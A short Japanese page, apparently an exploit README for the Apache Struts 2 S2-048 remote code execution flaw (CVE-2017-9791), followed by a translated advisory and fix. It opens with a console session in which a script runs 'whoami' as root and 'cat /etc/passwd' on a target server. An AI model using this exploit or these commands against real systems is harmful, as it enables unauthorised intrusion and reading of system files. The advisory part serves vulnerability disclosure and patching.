
Apache Struts 2 の Struts 2.3.x シリーズにおける Struts 1 プラグインの例である Struts Showcase アプリでの RCE の可能性
http://struts.apache.org/docs/s2-048.html
https://cwiki.apache.org/confluence/display/WW/S2-048
> python St2-048.py
set url : http://xx.xx.xx.xx:port/integration/saveGangster.action
cmd >>: whoami
root
cmd >>: cat /etc/passwd

Struts 2.3.x シリーズの Struts 1 プラグインの例である Struts Showcase アプリでの RCE の可能性
誰が読むべきか すべての Struts 2 開発者とユーザーはこれを読むべきです
脆弱性の影響 Struts 2 Struts 1 プラグインを使用する場合に RCE が発生する可能性があります
最大セキュリティ評価 高
推奨事項 ソリューションのセクションをお読みください
影響を受けるソフトウェア Struts 1 プラグインと Struts 1 アクションを備えた Struts 2.3.x
報告者 Tophant Competence Center の icez
CVE 識別子 CVE-2017-9791
Struts 2 Struts 1 プラグインと Struts 1 アクションを使用し、その値がユーザーに提示されるメッセージの一部である場合、つまり ActionMessage クラスのエラーメッセージの一部として信頼できない入力を使用する場合に、悪意のあるフィールド値を使用して RCE 攻撃を実行することが可能です。
以下に示すように、生のメッセージを ActionMessage に渡す代わりに、常にリソースキーを使用してください。生の値を直接渡さないでください。
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));
また、決してこのようにしないでください。
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));
後方互換性に関して問題は発生しない見込みです。